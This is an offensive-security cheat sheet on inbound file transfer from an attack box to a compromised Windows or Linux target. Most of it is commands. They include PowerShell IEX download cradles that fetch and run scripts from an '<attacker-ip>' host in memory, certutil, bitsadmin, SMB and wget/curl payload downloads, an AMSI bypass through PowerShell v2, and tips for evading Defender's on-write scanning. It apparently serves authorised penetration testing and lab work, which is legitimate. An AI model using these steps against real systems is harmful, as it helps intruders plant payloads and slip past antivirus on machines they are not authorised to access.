File Transfer (Inbound)

Inbound transfers only (attack box → target). For outbound see Exfiltration.

Hosting Files (Attack Box)

python3 -m http.server 80

Confirm the port isn't firewalled from the target before assuming the tool or payload is broken.

Windows

Native Shell Upload

Goes over the shell's own channel — bypasses LOLBin signatures entirely. Best default whenever available.

upload <local-path> <remote-path>    # evil-winrm
scp /path/to/file user@<target-ip>:/destination/   # SSH

In-Memory (IEX)

Execution Policy

The default policy on most machines (Restricted or RemoteSigned) blocks running a downloaded .ps1 from disk. Three ways to handle it:

Option 1 — Per-process flag (preferred)
Pass the flag directly on the powershell.exe call — applies only for that process lifetime, no registry change:

powershell -ExecutionPolicy Bypass -File .\adPEAS.ps1

Option 2 — Set policy for the current session
Run inside an existing PowerShell session before dot-sourcing or invoking a script:

Set-ExecutionPolicy Bypass -Scope Process -Force

-Scope Process resets when the session closes — no persistence, no noise.

Option 3 — IEX skips this entirely
Scripts loaded via IEX(New-Object Net.WebClient).DownloadString(...) never touch disk and are not subject to execution policy — no flag needed. See In-Memory section below.

Nothing touches disk, so on-write scanning has nothing to catch. Works for PowerShell-based tools only (winPEAS.ps1, PowerUp, etc.) — compiled .exe payloads still need to land on disk.

IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/script.ps1')

Evil-WinRM variable expansion: When passing a -Command string through Evil-WinRM into a child powershell.exe process, $variables get expanded by Evil-WinRM's shell first and arrive empty. Two fixes:

AMSI Bypass via PSv2

PowerShell v2 predates AMSI entirely. If PSv2 is installed, launch it explicitly:

powershell -version 2 -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/script.ps1')"

Confirm PSv2 is installed first — if absent, it silently falls back to the current version:

reg query HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion

SMB Copy

Host a share on the attack box, copy from target:

# Attack box:
impacket-smbserver share . -smb2support
# Target:
copy \\<attacker-ip>\share\file.exe C:\Users\Public\file.exe

Needs SMB egress (port 445) from target outbound — not always available.

LOLBins (Last Resort)

Most heavily signatured — modern Defender often flags the download itself, not just the payload.

certutil -urlcache -split -f http://<attacker-ip>/file.exe C:\Users\Public\file.exe
bitsadmin /transfer job http://<attacker-ip>/file.exe C:\Users\Public\file.exe
iwr http://<attacker-ip>/file.exe -OutFile C:\Users\Public\file.exe

AV Troubleshooting

If the transfer succeeds but the file vanishes or won't run, Defender caught it on-write or on-execute — not a transfer method failure:

winPEAS Build Notes

Build Notes
.bat Sensitive to CRLF corruption — transfer as binary only. The system cannot find the batch label specified on every line means the file is corrupted, re-transfer or switch builds.
.ps1 Quieter on signatures; pair with IEX+PSv2 for best AMSI evasion.
.exe Most heavily signatured, likely caught on-write by current Defender builds.

Linux

wget / curl

wget http://<attacker-ip>/file -O /tmp/file
curl http://<attacker-ip>/file -o /tmp/file

SCP

scp /path/to/file user@<target-ip>:/tmp/file

Base64 Paste-In

No HTTP needed — useful when outbound egress is filtered:

# Attack box - encode:
base64 -w0 file.bin

# Target shell - decode:
echo '<base64-string>' | base64 -d > /tmp/file
chmod +x /tmp/file

Python Fallback

python3 -c "import urllib.request; urllib.request.urlretrieve('http://<attacker-ip>/file', '/tmp/file')"